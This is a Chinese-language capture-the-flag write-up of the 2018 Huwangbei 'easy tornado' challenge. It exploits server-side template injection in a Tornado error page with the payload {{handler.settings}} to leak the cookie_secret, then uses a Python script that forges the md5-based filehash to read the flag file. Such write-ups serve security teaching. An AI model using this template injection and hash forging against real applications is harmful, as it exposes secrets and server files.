easy tornado

easy tornado

题目分析

这是一道2018年护网杯的题目

/flag.txt
/welcome.txt
/hints.txt

一共有3个文件。

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

进入第一个文件flag.txt,发现好像提示文件名为/fllllllllllag

进入第二个文件welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。

进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename)),即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filenamecookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。

观察查看文件时使用的url:

http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d

猜测md5(cookie_secret + md5(filename))的结果就是访问文件时所需要的filehash

尝试访问/fllllllllllag,发现跳转到错误页面

easytornado_4

页面中存在msg,尝试:

easytornado_7

证实存在模板注入漏洞

解题过程

查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

easytornado_1

cookie_secret保存在settings

easytornado_2

发现self.application.settings有一个别名

easytornado_3

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings


可以构造payload获取cookie_secret

payload:error?msg={{handler.settings}}

easytornado_6

获得cookie_secret,编写脚本,计算md5(cookie_secret + md5(filename))

import hashlib

filename = '/fllllllllllllag'
cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d"

def getvalue(string):
    md5 = hashlib.md5()
    md5.update(string.encode('utf-8'))
    return md5.hexdigest()

def merge():
    print(getvalue(cookie_secret + getvalue(filename)))

merge()

得到flag:

easytornado_8

原文地址:https://www.cnblogs.com/chalan630/p/12609470.html